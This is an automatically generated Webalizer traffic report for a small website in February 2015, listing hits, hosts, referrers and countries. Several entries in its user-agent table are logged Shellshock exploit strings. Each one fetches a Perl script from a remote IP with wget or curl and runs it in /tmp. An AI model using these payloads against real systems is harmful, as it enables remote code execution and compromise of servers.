Usage Statistics for softappsindia.com

Summary Period: February 2015
Generated 01-Mar-2015 02:12 Eastern Standard Time

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for February 2015
Total Hits 1303
Total Files 804
Total Pages 992
Total Visits 792
Total KBytes 1787
Total Unique Sites 488
Total Unique URLs 2
Total Unique Referrers 10
Total Unique User Agents 98
. Avg Max
Hits per Hour 1 32
Hits per Day 46 88
Files per Day 28 39
Pages per Day 35 62
Visits per Day 28 36
KBytes per Day 64 143
Hits by Response Code
Code 200 - OK 804
Code 304 - Not Modified 2
Code 404 - Not Found 497

Daily usage for February 2015

Daily Statistics for February 2015
Day Hits Files Pages Visits Sites KBytes
1 30 2.30% 24 2.99% 24 2.42% 24 3.03% 29 5.94% 38 2.13%
2 50 3.84% 30 3.73% 41 4.13% 27 3.41% 27 5.53% 70 3.91%
3 24 1.84% 19 2.36% 19 1.92% 19 2.40% 19 3.89% 29 1.63%
4 31 2.38% 25 3.11% 24 2.42% 21 2.65% 23 4.71% 40 2.26%
5 88 6.75% 22 2.74% 55 5.54% 26 3.28% 27 5.53% 143 8.02%
6 67 5.14% 25 3.11% 26 2.62% 26 3.28% 31 6.35% 104 5.81%
7 29 2.23% 24 2.99% 23 2.32% 20 2.53% 23 4.71% 37 2.05%
8 70 5.37% 30 3.73% 55 5.54% 27 3.41% 30 6.15% 104 5.80%
9 45 3.45% 32 3.98% 34 3.43% 33 4.17% 37 7.58% 57 3.21%
10 48 3.68% 39 4.85% 38 3.83% 35 4.42% 38 7.79% 59 3.30%
11 48 3.68% 35 4.35% 37 3.73% 33 4.17% 33 6.76% 62 3.48%
12 42 3.22% 29 3.61% 30 3.02% 30 3.79% 29 5.94% 54 3.01%
13 52 3.99% 35 4.35% 47 4.74% 33 4.17% 31 6.35% 68 3.80%
14 56 4.30% 36 4.48% 46 4.64% 36 4.55% 33 6.76% 74 4.11%
15 65 4.99% 28 3.48% 54 5.44% 29 3.66% 27 5.53% 95 5.33%
16 51 3.91% 35 4.35% 40 4.03% 35 4.42% 34 6.97% 67 3.74%
17 38 2.92% 31 3.86% 31 3.13% 31 3.91% 33 6.76% 46 2.58%
18 37 2.84% 30 3.73% 30 3.02% 30 3.79% 29 5.94% 47 2.63%
19 71 5.45% 28 3.48% 56 5.65% 29 3.66% 28 5.74% 107 5.97%
20 39 2.99% 30 3.73% 30 3.02% 29 3.66% 31 6.35% 50 2.81%
21 35 2.69% 27 3.36% 30 3.02% 30 3.79% 28 5.74% 46 2.58%
22 23 1.77% 21 2.61% 22 2.22% 22 2.78% 21 4.30% 27 1.53%
23 28 2.15% 22 2.74% 22 2.22% 22 2.78% 22 4.51% 36 1.99%
24 43 3.30% 27 3.36% 28 2.82% 28 3.54% 29 5.94% 59 3.28%
25 45 3.45% 32 3.98% 32 3.23% 29 3.66% 29 5.94% 59 3.33%
26 70 5.37% 33 4.10% 62 6.25% 34 4.29% 35 7.17% 105 5.90%
27 39 2.99% 26 3.23% 26 2.62% 26 3.28% 29 5.94% 53 2.96%
28 39 2.99% 29 3.61% 30 3.02% 28 3.54% 28 5.74% 51 2.85%

Hourly usage for February 2015

Hourly Statistics for February 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 1 36 2.76% 0 26 3.23% 0 27 2.72% 2 46 2.59%
1 1 39 2.99% 0 26 3.23% 0 25 2.52% 2 53 2.98%
2 1 53 4.07% 1 39 4.85% 1 40 4.03% 2 69 3.84%
3 2 59 4.53% 1 35 4.35% 1 47 4.74% 3 82 4.59%
4 1 38 2.92% 0 26 3.23% 1 29 2.92% 2 49 2.76%
5 2 57 4.37% 1 29 3.61% 1 49 4.94% 3 81 4.53%
6 1 41 3.15% 1 33 4.10% 1 35 3.53% 2 50 2.81%
7 2 76 5.83% 1 34 4.23% 2 61 6.15% 4 114 6.38%
8 2 73 5.60% 1 35 4.35% 2 61 6.15% 4 106 5.93%
9 1 32 2.46% 0 24 2.99% 0 24 2.42% 1 40 2.24%
10 1 42 3.22% 1 35 4.35% 1 35 3.53% 2 52 2.94%
11 2 81 6.22% 2 65 8.08% 2 66 6.65% 4 102 5.71%
12 1 46 3.53% 1 28 3.48% 1 28 2.82% 2 61 3.43%
13 1 42 3.22% 1 29 3.61% 1 29 2.92% 2 54 3.01%
14 2 68 5.22% 1 36 4.48% 2 61 6.15% 3 97 5.43%
15 0 25 1.92% 0 19 2.36% 0 18 1.81% 1 33 1.87%
16 1 34 2.61% 1 28 3.48% 1 30 3.02% 2 43 2.38%
17 2 76 5.83% 1 38 4.73% 1 44 4.44% 4 110 6.14%
18 1 43 3.30% 1 31 3.86% 1 33 3.33% 2 55 3.09%
19 2 73 5.60% 1 36 4.48% 2 61 6.15% 4 108 6.03%
20 1 50 3.84% 1 34 4.23% 1 38 3.83% 2 66 3.67%
21 0 17 1.30% 0 16 1.99% 0 16 1.61% 1 19 1.07%
22 2 73 5.60% 1 50 6.22% 1 52 5.24% 3 97 5.43%
23 4 129 9.90% 1 52 6.47% 2 83 8.37% 7 199 11.16%

Top 1 of 2 Total URLs
# Hits KBytes URL
1 799 61.32% 878 49.15% /

Top 1 of 2 Total URLs By KBytes
# Hits KBytes URL
1 799 61.32% 878 49.15% /

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 799 61.32% 761 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 799 61.32% 755 100.00% /

Top 30 of 488 Total Sites
# Hits Files KBytes Visits Hostname
1 62 4.76% 39 4.85% 83 4.66% 14 1.77% spider-100-43-81-136.yandex.com
2 60 4.60% 2 0.25% 107 5.99% 2 0.25% 209.92.176.24
3 30 2.30% 1 0.12% 53 2.99% 1 0.13% 204.151.8.41
4 30 2.30% 1 0.12% 53 2.99% 1 0.13% 91.142.209.68
5 30 2.30% 1 0.12% 53 2.99% 1 0.13% via.softinet.com
6 29 2.23% 0 0.00% 53 2.96% 1 0.13% usiptv.info
7 24 1.84% 18 2.24% 31 1.73% 18 2.27% crawl-66-249-64-168.googlebot.com
8 17 1.30% 16 1.99% 20 1.10% 16 2.02% crawl-66-249-64-164.googlebot.com
9 15 1.15% 8 1.00% 21 1.20% 8 1.01% crawl-66-249-64-96.googlebot.com
10 14 1.07% 9 1.12% 19 1.06% 9 1.14% crawl-66-249-64-160.googlebot.com
11 14 1.07% 11 1.37% 18 0.99% 11 1.39% crawl-66-249-64-92.googlebot.com
12 14 1.07% 11 1.37% 18 0.99% 11 1.39% crawl-66-249-79-156.googlebot.com
13 14 1.07% 14 1.74% 16 0.87% 14 1.77% hn.kd.ny.adsl
14 12 0.92% 1 0.12% 21 1.18% 1 0.13% 61-91-45-50.static.asianet.co.th
15 10 0.77% 7 0.87% 13 0.74% 7 0.88% crawl-66-249-79-124.googlebot.com
16 10 0.77% 5 0.62% 15 0.81% 5 0.63% crawl-66-249-79-132.googlebot.com
17 9 0.69% 0 0.00% 16 0.91% 1 0.13% 1.55.183.153
18 9 0.69% 0 0.00% 16 0.91% 1 0.13% 227.24.150.178.triolan.net
19 9 0.69% 0 0.00% 16 0.91% 1 0.13% 31.202.247.14.format-tv.net
20 9 0.69% 0 0.00% 16 0.91% 1 0.13% 66-105-162-69.static.reverse.lstn.net
21 9 0.69% 0 0.00% 16 0.91% 1 0.13% 77.121.214.84
22 9 0.69% 5 0.62% 13 0.71% 5 0.63% crawl-66-249-79-148.googlebot.com
23 8 0.61% 4 0.50% 12 0.65% 1 0.13% 31.202.241.245.format-tv.net
24 8 0.61% 0 0.00% 14 0.81% 2 0.25% 63.199.42.35
25 8 0.61% 6 0.75% 10 0.57% 5 0.63% atlantic626.dedicatedpanel.com
26 8 0.61% 6 0.75% 10 0.58% 6 0.76% crawl-66-249-67-116.googlebot.com
27 7 0.54% 0 0.00% 13 0.71% 1 0.13% 103.24.77.53
28 7 0.54% 7 0.87% 8 0.45% 7 0.88% 180.76.4.108
29 7 0.54% 4 0.50% 10 0.55% 4 0.51% crawl-66-249-67-132.googlebot.com
30 7 0.54% 6 0.75% 9 0.48% 6 0.76% crawl-66-249-67-148.googlebot.com

Top 10 of 488 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 60 4.60% 2 0.25% 107 5.99% 2 0.25% 209.92.176.24
2 62 4.76% 39 4.85% 83 4.66% 14 1.77% spider-100-43-81-136.yandex.com
3 30 2.30% 1 0.12% 53 2.99% 1 0.13% 204.151.8.41
4 30 2.30% 1 0.12% 53 2.99% 1 0.13% 91.142.209.68
5 30 2.30% 1 0.12% 53 2.99% 1 0.13% via.softinet.com
6 29 2.23% 0 0.00% 53 2.96% 1 0.13% usiptv.info
7 24 1.84% 18 2.24% 31 1.73% 18 2.27% crawl-66-249-64-168.googlebot.com
8 15 1.15% 8 1.00% 21 1.20% 8 1.01% crawl-66-249-64-96.googlebot.com
9 12 0.92% 1 0.12% 21 1.18% 1 0.13% 61-91-45-50.static.asianet.co.th
10 17 1.30% 16 1.99% 20 1.10% 16 2.02% crawl-66-249-64-164.googlebot.com

Top 4 of 10 Total Referrers
# Hits Referrer
1 3 0.23% http://tattoo33.ru/
2 3 0.23% http://yandex.ru/yandsearch
3 1 0.08% http://66.232.58.210/
4 1 0.08% http://www.netcraft.com/survey/

Top 15 of 98 Total User Agents
# Hits User Agent
1 327 25.10% Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0)
2 234 17.96% Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)
3 73 5.60% Mozilla/5.0+(compatible;+YandexBot/3.0;++http://yandex.com/bots)
4 60 4.60% )+{+:;};/usr/bin/perl+-e+'print+"Content-Type:+text/plain\r\n\r\nXSUCCESS!";system("rm+-rf+/tmp/l.pl*;wget+http://87.106.189.34/ou.pl+-O+/tmp/l.pl;curl+-O+/tmp/l.pl+http://87.106.189.34/ou.pl;perl+
5 54 4.14% Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)
6 36 2.76% Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko
7 30 2.30% )+{+:;};/usr/bin/perl+-e+'print+"Content-Type:+text/plain\r\n\r\nXSUCCESS!";system("wget+http://202.191.121.230/ou.pl+-O+/tmp/b.pl;curl+-O+/tmp/b.pl+http://202.191.121.230/ou.pl;perl+/tmp/b.pl;rm+-
8 30 2.30% )+{+:;};/usr/bin/perl+-e+'print+"Content-Type:+text/plain\r\n\r\nXSUCCESS!";system("wget+http://87.106.130.7/bou.pl+-O+/tmp/b.pl;curl+-O+/tmp/b.pl+http://87.106.130.7/bou.pl;perl+/tmp/b.pl;rm+-rf+/
9 30 2.30% )+{+:;};/usr/bin/perl+-e+'print+"Content-Type:+text/plain\r\n\r\nXSUCCESS!";system("wget+http://87.106.130.7/ou.pl+-O+/tmp/b.pl;curl+-O+/tmp/b.pl+http://87.106.130.7/ou.pl;perl+/tmp/b.pl;rm+-rf+/tm
10 28 2.15% NerdyBot
11 25 1.92% Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+98)
12 15 1.15% masscan/1.0+(https://github.com/robertdavidgraham/masscan)
13 14 1.07% Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2251.0+Safari/537.36
14 13 1.00% Mozilla/5.0+(Windows+NT+5.1;+rv:6.0.2)+Gecko/20100101+Firefox/6.0.2
15 13 1.00% Mozilla/5.0+(iPhone;+CPU+iPhone+OS+6_0+like+Mac+OS+X)+AppleWebKit/536.26+(KHTML,+like+Gecko)+Version/6.0+Mobile/10A5376e+Safari/8536.25+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)

Usage by Country for February 2015

Top 26 of 26 Total Countries
# Hits Files KBytes Country
1 661 50.73% 413 51.37% 902 50.48% Unresolved/Unknown
2 494 37.91% 322 40.05% 670 37.50% US Commercial
3 58 4.45% 10 1.24% 97 5.44% Network
4 23 1.77% 23 2.86% 26 1.44% US Educational
5 12 0.92% 1 0.12% 21 1.18% Thailand
6 9 0.69% 8 1.00% 13 0.74% Russian Federation
7 4 0.31% 4 0.50% 4 0.25% Germany
8 4 0.31% 4 0.50% 1 0.08% Italy
9 4 0.31% 3 0.37% 5 0.28% Netherlands
10 4 0.31% 2 0.25% 6 0.33% Seychelles
11 4 0.31% 0 0.00% 7 0.41% Viet Nam
12 3 0.23% 3 0.37% 3 0.19% China
13 3 0.23% 0 0.00% 5 0.30% India
14 2 0.15% 1 0.12% 3 0.16% Non-Profit Organization
15 2 0.15% 2 0.25% 1 0.04% Brazil
16 2 0.15% 0 0.00% 4 0.20% France
17 2 0.15% 0 0.00% 4 0.20% Indonesia
18 2 0.15% 1 0.12% 3 0.16% Israel
19 2 0.15% 1 0.12% 3 0.16% United Kingdom
20 2 0.15% 2 0.25% 2 0.13% United States
21 1 0.08% 0 0.00% 2 0.10% Austria
22 1 0.08% 1 0.12% 0 0.02% Ecuador
23 1 0.08% 1 0.12% 0 0.02% Mexico
24 1 0.08% 0 0.00% 2 0.10% New Zealand (Aotearoa)
25 1 0.08% 1 0.12% 0 0.02% Romania
26 1 0.08% 1 0.12% 1 0.06% Tokelau


Generated by Webalizer Version 2.01